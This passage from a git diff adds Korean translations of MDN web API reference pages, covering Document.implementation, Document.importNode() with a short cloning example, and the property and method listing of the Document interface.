것들을 컨트롤하기 위한 서비스들을 제공합니다. 예를 들어, <code>DOMImplementation</code> 인터페이스는 <code>createDocumentType</code> 메소드와 implementation에 의해 관리되는 하나 이상의 document를 위해 생성되는 DTD가 무엇인지를 포함합니다.</p> + +<h2 id="Specification">Specification</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-102161490">DOM Level 2 Core: implementation</a></li> + <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-102161490">DOM Level 3 Core: implementation</a></li> +</ul> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.implementation")}}</p> + +<h2 id="Gecko-specific_notes">Gecko-specific notes</h2> + +<ul> + <li>Gecko 19.0 {{geckoRelease("19.0")}}부터 {{domxref("DOMImplementation.hasFeature","hasFeature")}} 메소드는 항상 true를 반환합니다.</li> +</ul> diff --git a/files/ko/web/api/document/importnode/index.html b/files/ko/web/api/document/importnode/index.html new file mode 100644 index 0000000000..18be48039f --- /dev/null +++ b/files/ko/web/api/document/importnode/index.html @@ -0,0 +1,67 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<h2 id="Summary" name="Summary">설명</h2> + +<p>현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다.</p> + +<h2 id="Syntax" name="Syntax">문법</h2> + +<pre class="syntaxbox">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>, <em>deep</em>); +</pre> + +<dl> + <dt><code>node</code></dt> + <dd>문서에 추가될 새로운 노드입니다. 새로운 노드가 문서 트리에 추가되기 전까지, 새로운 노드의 <a href="/en-US/docs/DOM/Node.parentNode" style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;" title="DOM/Node.parentNode">parentNode</a><span style="line-height: 1.5;">는 null입니다.</span></dd> + <dt><code>externalNode</code></dt> + <dd>다른 문서에서 가져올 노드입니다.</dd> + <dt><code>deep</code></dt> + <dd>불리언 타입을 가지며, 다른 문서에서 노드를 가져올 때 노드의 자식 요소들을 포함하여 가져올 것인지에 대한 여부를 결정합니다.</dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> DOM4 스펙 (Gecko 13.0 {{geckoRelease(13)}}에서 적용되어 있습니다)에서, <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">deep</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">은 선택적 인자입니다. 만약 해당 속성을 생략한다면, 함수는 자동으로 </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">deep을 </span><strong style="line-height: 1.5em;"><code style="font-size: 14px;">true</code></strong><code style="font-size: 14px;">로 인식하여 작동하게 되고, 기본 동작을 하게 됩니다. 만약 자식 노드를 포함하지 않은 해당 노드만 가져오고싶다면, 반드시 <em>deep</em>인자에 false를 주시길 바랍니다.</code></p> + +<p><code style="font-size: 14px;">이러한 동작 방식은 최신 스펙에서 변경되었고, 만약 deep 속성을 생략하면, 함수는 자동으로 deep을 false로 인식하여 동작합니다. 비록 deep 속성이 선택적 속성이라고 해도, 당신은 항상 deep 속성을 상호 호환성을 위하여 제공하는 것이 좋습니다. <em>Gecko 28.0 {{geckoRelease(28)}} </em>버전부터, deep속성을 입력하지 않을 경우 콘솔에서 에러를 반환합니다.</code></p> +</div> + +<h2 id="Example" name="Example">예제</h2> + +<pre class="brush: js">var iframe = document.getElementsByTagName("iframe")[0]; +var oldNode = iframe.contentDocument.getElementById("myNode"); +var newNode = document.importNode(oldNode, true); +document.getElementById("container").appendChild(newNode); +</pre> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p>오리지널 노드는 오리지널 문서에서 삭제되지 않습니다. 추가된 노드는 오리지널 노드의 복사본입니다.</p> + +<p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p> + +<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p> + +<h2 id="브라우저_지원율">브라우저 지원율</h2> + +<div> + + +<p>{{Compat("api.Document.importNode")}}</p> +</div> + +<h2 id="Specifications" name="Specifications">관련문서</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></li> + <li><a href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-importnode">DOM4 (draft): Document.importNode</a></li> +</ul> + +<h2 id="참고">참고</h2> + +<ul> + <li>{{domxref("document.adoptNode()")}}</li> +</ul> diff --git a/files/ko/web/api/document/index.html b/files/ko/web/api/document/index.html new file mode 100644 index 0000000000..f26cb7a526 --- /dev/null +++ b/files/ko/web/api/document/index.html @@ -0,0 +1,480 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - Interface + - Reference +translation_of: Web/API/Document +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"><strong><code>Document</code></strong> 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠(<a href="/ko/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core">DOM 트리</a>)의 진입점 역할을 수행합니다.</span> DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element">여러 다른</a> 요소를 포함합니다. <code>Document</code>는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.</p> + +<p>{{inheritanceDiagram}}</p> + +<p><code>Document</code> 인터페이스는 모든 종류의 문서에 대한 공통의 속성과 메서드를 묘사합니다. 문서의 유형(<a href="/ko/docs/Web/HTML">HTML</a>, <a href="/ko/docs/Web/XML/XML_introduction">XML</a>, SVG 등)에 따라서 더 다양한 API가 존재합니다. 예컨대 <code>"text/html"</code> 콘텐츠 유형으로 제공되는 HTML 문서는 {{domxref("HTMLDocument")}} 인터페이스도 구현하는 반면, XML과 SVG 문서는 {{domxref("XMLDocument")}} 인터페이스를 구현합니다.</p> + +<h2 id="생성자">생성자</h2> + +<dl> + <dt>{{domxref("Document.Document","Document()")}} {{non-standard_inline}}</dt> + <dd>새로운 <code>Document</code> 객체를 생성합니다.</dd> +</dl> + +<h2 id="Properties" name="Properties">속성</h2> + +<p><em><code>Documet</code>는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.</em></p> + +<dl> + <dt>{{domxref("Document.anchors")}} {{readonlyinline}}</dt> + <dd>문서 내 모든 앵커의 목록을 반환합니다.</dd> + <dt>{{domxref("Document.body")}}</dt> + <dd>현재 문서의 {{HTMLElement("body")}} 또는 {{htmlelement("frameset")}} 노드를 반환합니다.</dd> + <dt>{{domxref("Document.characterSet")}} {{readonlyinline}}</dt> + <dd>문서에서 사용하는 캐릭터셋을 반환합니다.</dd> + <dt>{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}</dt> + <dd>문서의 렌더링 모드가 Quirks와 Strict 중 어떤 것인지 반환합니다.</dd> + <dt>{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}</dt> + <dd>현재 문서의 MIME 헤더로부터 <code>Content-Type</code>을 반환합니다.</dd> + <dt>{{domxref("Document.doctype")}} {{readonlyinline}}</dt> + <dd>현재 문서의 문서 형식 정의(Document Type Definition, DTD)를 반환합니다.</dd> + <dt>{{domxref("Document.documentElement")}} {{readonlyinline}}</dt> + <dd>문서의 직속 자식인 {{domxref("Element")}}를 반환합니다. HTML 문서에서는 보통 {{HTMLElement("html")}} 요소를 나타내는 {{domxref("HTMLHtmlElement")}} 객체입니다.</dd> + <dt>{{domxref("Document.documentURI")}} {{readonlyinline}}</dt> + <dd>문서의 위치를 문자열로 반환합니다.</dd> + <dt>{{domxref("Document.embeds")}} {{readonlyinline}}</dt> + <dd>현재 문서에 포함된 {{HTMLElement("embed")}} 요소 목록을 반환합니다.</dd> + <dt>{{domxref("Document.fonts")}}</dt> + <dd>현재 문서의 {{domxref("FontFaceSet")}} 인터페이스를 반환합니다.</dd> + <dt>{{domxref("Document.forms")}} {{readonlyinline}}</dt> + <dd>현재 문서의 {{HTMLElement("form")}} 요소 목록을 반환합니다.</dd> + <dt>{{domxref("Document.head")}} {{readonlyinline}}</dt> + <dd>현재 문서의 {{HTMLElement("head")}} 요소를 반환합니다.</dd> + <dt>{{domxref("Document.hidden")}} {{readonlyinline}}</dt> + <dd>현재 문서의 숨김 여부를 반환합니다.</dd> + <dt>{{domxref("Document.images")}} {{readonlyinline}}</dt> + <dd>현재 문서의 이미지 목록을 반환합니다.</dd> + <dt>{{domxref("Document.implementation")}} {{readonlyinline}}</dt> + <dd>현재 문서와 연관된 DOM 구현을 반환합니다.</dd> + <dt>{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}</dt> + <dd>마지막에 활성화된 스타일 시트 세트의 이름을 반환합니다. {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} 값을 설정하여 스타일 시트가 변경되기 전에는 <code>null</code> 값을 갖습니다.</dd> + <dt>{{domxref("Document.links")}} {{readonlyinline}}</dt> + <dd>문서의 모든 하이퍼링크 목록을 반환합니다.</dd> + <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}}</dt> + <dd>문서가 synthetic, 즉 단일 이미지, 비디오, 오디오 파일이나 이와 비슷한 것인 경우 {{jsxref("Boolean")}} <code>true</code>를 반환합니다.</dd> + <dt>{{domxref("Document.plugins")}} {{readonlyinline}}</dt> + <dd>사용 가능한 플러그인의 목록을 반환합니다.</dd> + <dt>{{domxref("Document.policy")}} {{readonlyinline}} {{experimental_inline}}</dt> + <dd>특정 문서에 적용되는 기능 정책을 자성하기 위한 간단한 API 를 제공하는 {{domxref("Policy")}} 인터페이스를 반환합니다.</dd> + <dt>{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}</dt> + <dd>페이지 작성자가 지정한 선호 스타일 시트 세트를 반환합니다.</dd> + <dt>{{domxref("Document.scripts")}} {{readonlyinline}}</dt> + <dd>문서의 모든 {{HTMLElement("script")}} 요소를 반환합니다.</dd> + <dt>{{domxref("Document.scrollingElement")}} {{readonlyinline}}</dt> + <dd>문서를 스크롤 하는 {{domxref("Element")}}에 대한 참조를 반환합니다.</dd> + <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt> + <dd>현재 사용 중인 스타일 시트 세트를 반환합니다.</dd> + <dt>{{domxref("Document.styleSheetSets")}} {{readonlyinline}}</dt> + <dd>문서에서 사용 가능한 스타일 시트 세트의 목록을 반환합니다.</dd> + <dt>{{domxref("Document.timeline")}} {{readonlyinline}}</dt> + <dd>페이지 로드 시 자동으로 생성하는 {{domxref("DocumentTimeline")}}의 인스턴스를 반환합니다.</dd> + <dt>{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}</dt> + <dd>…</dd> + <dt>{{domxref("Document.visibilityState")}} {{readonlyinline}}</dt> + <dd>문서의 표시 상태를 나타내는 문자열을 반환합니다. 가능한 값은 <code>visible</code>, <code>hidden</code>, <code>prerender</code>, <code>unloaded</code>입니다.</dd> +</dl> + +<p><code>Document</code> 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.</p> + +<p>{{page("/ko/docs/Web/API/ParentNode","속성")}}</p> + +<h3 id="HTMLDocument_확장">HTMLDocument 확장</h3> + +<p>HTML 문서를 위한 <code>Document</code> 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.</p> + +<dl> + <dt>{{domxref("Document.cookie")}}</dt> + <dd>문서의 쿠키 리스트를 세미콜론으로 분리해 반환하거나, 하나의 쿠키를 설정합니다.</dd> + <dt>{{domxref("Document.defaultView")}} {{readonlyinline}}</dt> + <dd>{{domxref("Window")}} 객체의 참조를 반환합니다.</dd> + <dt>{{domxref("Document.designMode")}}</dt> + <dd>문서 전체의 수정 가능 여부를 설정/반환합니다.</dd> + <dt>{{domxref("Document.dir")}}</dt> + <dd>문서의 쓰기 방향(rtl/ltr)을 설정/반환합니다.</dd> + <dt>{{domxref("Document.domain")}}</dt> + <dd>현재 문서의 도메인을 설정/반환합니다.</dd> + <dt>{{domxref("Document.lastModified")}} {{readonlyinline}}</dt> + <dd>문서가 마지막으로 수정된 날짜를 반환합니다.</dd> + <dt>{{domxref("Document.location")}} {{readonlyinline}}</dt> + <dd>현재 문서의 URI를 반환합니다.</dd> + <dt>{{domxref("Document.readyState")}} {{readonlyinline}}</dt> + <dd>문서의 불러오기 상태를 반환합니다.</dd> + <dt>{{domxref("Document.referrer")}} {{readonlyinline}}</dt> + <dd>현재 페이지로 연결한 페이지의 URI를 반환합니다.</dd> + <dt>{{domxref("Document.title")}}</dt> + <dd>문서의 제목을 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.URL")}} {{readonlyInline}}</dt> + <dd>문서의 위치를 문자열로 반환합니다.</dd> +</dl> + +<h3 id="DocumentOrShadowRoot에서_포함한_속성">DocumentOrShadowRoot에서 포함한 속성</h3> + +<p><code>Document</code> 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인이 정의하는 다음의 속성을 포함합니다. 지금은 Chrome만 <code>DocumentOrShadowRoot</code> 믹스인으로 구현한 상태라는 점에 유의하세요. 다른 브라우저는 <code>Document</code> 인터페이스에 직접 구현합니다.</p> + +<dl> + <dt>{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}</dt> + <dd>섀도 트리 내에서 포커스를 가진 {{domxref('Element')}} 를 반환합니다.</dd> + <dt>{{domxref("Document.fullscreenElement")}} {{readonlyinline}}</dt> + <dd>현재 문서에서 전체 화면 모드 중인 요소를 반환합니다.</dd> + <dt>{{domxref("DocumentOrShadowRoot.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}</dt> + <dd>포인터가 잠긴 동안 마우스 이벤트의 대상으로 설정한 요소를 반환합니다. 잠금 대기 중이거나, 포인터의 잠금이 해제됐거나, 대상이 다른 문서에 존재하는 경우 <code>null</code>입니다.</dd> + <dt>{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}</dt> + <dd>문서가 포함하거나 명시적으로 연결한 스타일 시트를 나타내는, {{domxref("CSSStyleSheet")}}의 {{domxref("StyleSheetList")}} 객체를 반환합니다.</dd> +</dl> + +<h3 id="Event_handlers" name="Event_handlers">이벤트 처리기</h3> + +<dl> + <dt>{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}</dt> + <dd>{{event("afterscriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd> + <dt>{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}</dt> + <dd>{{event("beforescriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd> + <dt>{{domxref("Document.oncopy")}} {{non-standard_inline}}</dt> + <dd>{{event("copy")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd> + <dt>{{domxref("Document.oncut")}} {{non-standard_inline}}</dt> + <dd>{{event("cut")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd> + <dt>{{domxref("Document.onfullscreenchange")}}</dt> + <dd>{{event("fullscreenchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd> + <dt>{{domxref("Document.onfullscreenerror")}}</dt> + <dd>{{event("fullscreenerror")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd> + <dt>{{domxref("Document.onpaste")}} {{non-standard_inline}}</dt> + <dd>{{event("paste")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd> + <dt>{{domxref("Document.onreadystatechange")}}</dt> + <dd>{{event("readystatechange")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd> + <dt>{{domxref("Document.onselectionchange")}} {{experimental_inline}}</dt> + <dd>{{event("selectionchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd> + <dt>{{domxref("Document.onvisibilitychange")}}</dt> + <dd>{{event("visibilitychange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd> +</dl> + +<p><code>Document</code> 인터페이스는 {{domxref("GlobalEventHandlers")}} 인터페이스를 확장합니다.</p> + +<p>{{Page("/ko/docs/Web/API/GlobalEventHandlers", "속성")}}</p> + +<h3 id="사용하지_않는_속성">사용하지 않는 속성</h3> + +<dl> + <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt> + <dd>다큐먼트 바디에 있는 활성 링크의 색상을 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt> + <dd>다큐먼트의 모든 엘리먼트로의 접근을 제공합니다. 레거시이며 비표준 속성이므로 사용되면 안됩니다.</dd> + <dt>{{domxref("Document.applets")}} {{Deprecated_inline}} {{readonlyinline}}</dt> + <dd>다큐먼트에 있는 애플릿의 정렬된 리스트를 반환합니다.</dd> + <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt> + <dd>{{domxref("Document.load")}} 와 사용되어 비동기 요청을 나타냅니다.</dd> + <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt> + <dd>현재 다큐먼트의 배경 색상을 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}</dt> + <dd>{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.</dd> + <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt> + <dd>{{domxref("DOMConfiguration")}} 객체를 반환합니다.</dd> + <dt>{{domxref("document.fgColor")}} {{Deprecated_inline}}</dt> + <dd>현재 다큐먼트의 foreground 색상이나 텍스트 색상을 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.fullscreen")}} {{obsolete_inline}}</dt> + <dd>다큐먼트가 {{domxref("Using_full-screen_mode","full-screen mode")}}에 있을 때 <code>true</code> 를 반환합니다.</dd> + <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt> + <dd>현재 다큐먼트의 높이를 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}</dt> + <dd>{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.</dd> + <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt> + <dd>다큐먼트내 하이퍼링크의 색상을 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt> + <dd>방문한 하이퍼링크의 색상을 설정하거나 반환합니다.</dd> + <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt> + <dd>현재 다큐먼트의 너비를 반환합니다.</dd> + <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt> + <dd>XML 선언으로 결정된 인코딩을 반환합니다.</dd> + <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt> + <dd>XML 선언이 다큐먼트를 독립되도록 지정하면 <code>true</code> 를(<em>예,</em> DTD 의 외부가 다큐먼트의 컨텐츠에 영향을 줌), 그렇지 않은 경우 <code>false</code> 를 반환합니다.</dd> + <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt> + <dd>XML 선언에 명시된 버전 넘버를 반환합니다. 선언에 명시되어 있지 않은 경우, <code>"1.0"</code> 을 반환합니다.</dd> +</dl> + +<h2 id="Methods" name="Methods">메서드</h2> + +<p><em><code>Documet</code>는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.</em></p> + +<dl> + <dt>{{domxref("Document.adoptNode()")}}</dt> + <dd>외부 문서로부터 노드를 가져옵니다.</dd> + <dt>{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}</dt> + <dd>{{domxref("Window.captureEvents")}}를 확인하세요.</dd> + <dt>{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}</dt> + <dd>지정한 좌표에 위치한 문서 프래그먼트에 대한 {{domxref("Range")}} 객체를 반환합니다.</dd> + <dt>{{domxref("Document.createAttribute()")}}</dt> + <dd>새로운 {{domxref("Attr")}} 객체를 생성하고 반환합니다.</dd> + <dt>{{domxref("Document.createAttributeNS()")}}</dt> + <dd>주어진 네임스페이스에 새로운 속성 노드를 생성하고 반환합니다.</dd> + <dt>{{domxref("Document.createCDATASection()")}}</dt> + <dd>새로운 CDATA 노드를 생성하고 반환합니다.</dd> + <dt>{{domxref("Document.createComment()")}}</dt> + <dd>새로운 주석 노드를 생성하고 반환합니다.</dd> + <dt>{{domxref("Document.createDocumentFragment()")}}</dt> + <dd>새로운 문서 조각을 생성합니다.</dd> + <dt>{{domxref("Document.createElement()")}}</dt> + <dd>주어진 태그명을 사용해 새로운 요소를 생성합니다.</dd> + <dt>{{domxref("Document.createElementNS()")}}</dt> + <dd>주어진 태그명과 네임스페이스 URI를 갖는 새로운 요소를 생성합니다.</dd> + <dt>{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}</dt> + <dd>새로운 개체 참조를 생성하고 반환합니다.</dd> + <dt>{{domxref("Document.createEvent()")}}</dt> + <dd>이벤트 객체를 생성합니다.</dd> + <dt>{{domxref("Document.createNodeIterator()")}}</dt> + <dd>{{domxref("NodeIterator")}} 객체를 생성합니다.</dd> + <dt>{{domxref("Document.createProcessingInstruction()")}}</dt> + <dd>새로운 {{domxref("ProcessingInstruction")}} 객체를 생성합니다.</dd> + <dt>{{domxref("Document.createRange()")}}</dt> + <dd>{{domxref("Range")}} 객체를 생성합니다.</dd> + <dt>{{domxref("Document.createTextNode()")}}</dt> + <dd>텍스트 노드를 생성합니다.</dd> + <dt>{{domxref("Document.createTouch()")}} {{Deprecated_inline}}</dt> + <dd>{{domxref("Touch")}} 객체를 생성합니다.</dd> + <dt>{{domxref("Document.createTouchList()")}}</dt> + <dd>{{domxref("TouchList")}} 객체를 생성합니다.</dd> + <dt>{{domxref("Document.createTreeWalker()")}}</dt> + <dd>{{domxref("TreeWalker")}} 객체를 생성합니다.</dd> + <dt>{{domxref("Document.enableStyleSheetsForSet()")}}</dt> + <dd>지정한 스타일 시트 세트의 스타일 시트를 활성화합니다.</dd> + <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt> + <dd>포인터 잠금을 해제합니다.</dd> + <dt>{{domxref("Document.getAnimations()")}} {{experimental_inline}}</dt> + <dd>문서의 자손 요소를 대상으로 하고, 현재 실행 중인 모든 {{domxref("Animation")}} 객체를 배열로 반환합니다.</dd> + <dt>{{domxref("Document.getElementsByClassName()")}}</dt> + <dd>주어진 클래스 이름을 갖는 요소의 목록을 반환합니다.</dd> + <dt>{{domxref("Document.getElementsByTagName()")}}</dt> + <dd>주어진 태그명을 갖는 요소의 목록을 반환합니다.</dd> + <dt>{{domxref("Document.getElementsByTagNameNS()")}}</dt> + <dd>주어진 태그명과 네임스페이스를 갖는 요소의 목록을 반환합니다.</dd> + <dt>{{domxref("Document.hasStorageAccess()")}}</dt> + <dd>문서가 퍼스트파티<sup>first-party</sup> 저장소에 접근할 수 있는지 나타내는 {{jsxref("Boolean")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd> + <dt>{{domxref("Document.importNode()")}}</dt> + <dd>외부 문서의 노드 복제본을 반환합니다.</dd> + <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt> + <dd>개체 대체, 텍스트 노드 정규화 등의 작업을 실행합니다.</dd> + <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}}</dt> + <dd>문서의 요소에 현재 마우스 캡쳐가 있다면 이를 해제합니다.</dd> + <dt>{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt> + <dd>{{domxref("Window.releaseEvents()")}}를 확인하세요.</dd> + <dt>{{domxref("Document.requestStorageAccess()")}}</dt> + <dd>퍼스트파티<sup>first-party</sup> 저장소로의 접근이 가능한 경우 이행하고 불가능한 경우 거부하는 {{jsxref("Promise")}}를 반환합니다.</dd> + <dt>{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt> + <dd>{{domxref("Window.routeEvent()")}}를 확인하세요.</dd> + <dt>{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}}</dt> + <dd>지정한 요소 ID를 위한 배경 이미지로 사용되도록 요소 변경을 허용합니다.</dd> +</dl> + +<p><code>Document</code> 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.</p> + +<dl> + <dt>{{domxref("document.getElementById()")}}</dt> + <dd>주어진 ID를 가진 요소의 참조를 반환합니다.</dd> + <dt>{{domxref("document.querySelector()")}}</dt> + <dd>문서 내에서 주어진 선택자를 만족하는 첫 번째 {{jsxref("Element")}}를 반환합니다.</dd> + <dt>{{domxref("document.querySelectorAll()")}}</dt> + <dd>주어진 선택자를 만족하는 모든 요소의 {{jsxref("NodeList")}}를 반환합니다.</dd> +</dl> + +<p><code>Document</code> 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.</p> + +<dl> + <dt>{{domxref("document.createExpression()")}}</dt> + <dd>나중에 (여러 번) 평가할 수 있도록 <code><a href="https://developer.mozilla.org/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code>을 컴파일합니다.</dd> + <dt>{{domxref("document.createNSResolver()")}}</dt> + <dd>{{domxref("XPathNSResolver")}} 객체를 생성합니다.</dd> + <dt>{{domxref("document.evaluate()")}}</dt> + <dd>XPath 표현을 평가합니다.</dd> +</dl> + +<h3 id="HTML_문서의_확장">HTML 문서의 확장</h3> + +<p>HTML 문서를 위한 <code>Document</code> 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.</p> + +<dl> + <dt>{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt> + <dd>최근의 Firefox와 Internet Explorer를 포함하는 주요 최신 브라우저에서, 이 메소드는 아무것도 하지 않습니다.</dd> + <dt>{{domxref("document.close()")}}</dt> + <dd>작성을 위한 문서 스트림을 닫습니다.</dd> + <dt>{{domxref("document.execCommand()")}}</dt> + <dd>수정 가능한 문서에서 서식 명령을 실행합니다.</dd> + <dt>{{domxref("document.getElementsByName()")}}</dt> + <dd>주어진 이름을 갖는 요소의 목록을 반환합니다.</dd> + <dt>{{domxref("document.hasFocus()")}}</dt> + <dd>포커스가 지정한 문서 내 어느 곳이든 위치한 경우 <code>true</code>를 반환합니다.</dd> + <dt>{{domxref("document.open()")}}</dt> + <dd>작성을 위한 문서 스트림을 엽니다.</dd> + <dt>{{domxref("document.queryCommandEnabled()")}}</dt> + <dd>현재 범위에서 서식 명령을 실행할 수 있다면 <code>true</code>를 반환합니다.</dd> + <dt>{{domxref("document.queryCommandIndeterm()")}}</dt> + <dd>현재 범위에서 서식 명령의 상태를 알 수 없으면 <code>true</code>를 반환합니다.</dd> + <dt>{{domxref("document.queryCommandState()")}}</dt> + <dd>현재 범위에서 서식 명령을 실행했다면 <code>true</code>를 반환합니다.</dd> + <dt>{{domxref("document.queryCommandSupported()")}}</dt> + <dd>현재 범위에서 서식 명령이 지원된다면 <code>true</code>를 반환합니다.</dd> + <dt>{{domxref("document.queryCommandValue()")}}</dt> + <dd>현재 범위에서 서식 명령을 위한 현재 값을 반환합니다.</dd> + <dt>{{domxref("document.write()")}}</dt> + <dd>문서에 텍스트를 작성합니다.</dd> + <dt>{{domxref("document.writeln()")}}</dt> + <dd>문서에 텍스트 한 줄을 작성합니다.</dd> +</dl> + +<h3 id="DocumentOrShadowRoot로부터_포함된_메소드">DocumentOrShadowRoot로부터 포함된 메소드</h3> + +<p><code>Document</code> 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인<sup>mixin</sup>이 정의하는 다음의 메서드를 포함합니다. 지금은 Chrome만 구현한 상태라는 점에 유의하세요. 다른 브라우저는 <code>Document</code> 인터페이스에 구현 중입니다.</p> + +<dl> + <dt>{{domxref("DocumentOrShadowRoot.getSelection()")}}</dt> + <dd>사용자에의해 선택된 텍스트의 범위 또는 캐럿의 현재 위치를 나타내는 {{domxref('Selection')}} 객체를 반환합니다.</dd> + <dt>{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}</dt> + <dd>지정한 위치에 있는 최상단 엘리먼트를 반환합니다.</dd> + <dt>{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}</dt> + <dd>지정한 위치에 있는 모든 엘리먼트의 배열을 반환합니다.</dd> + 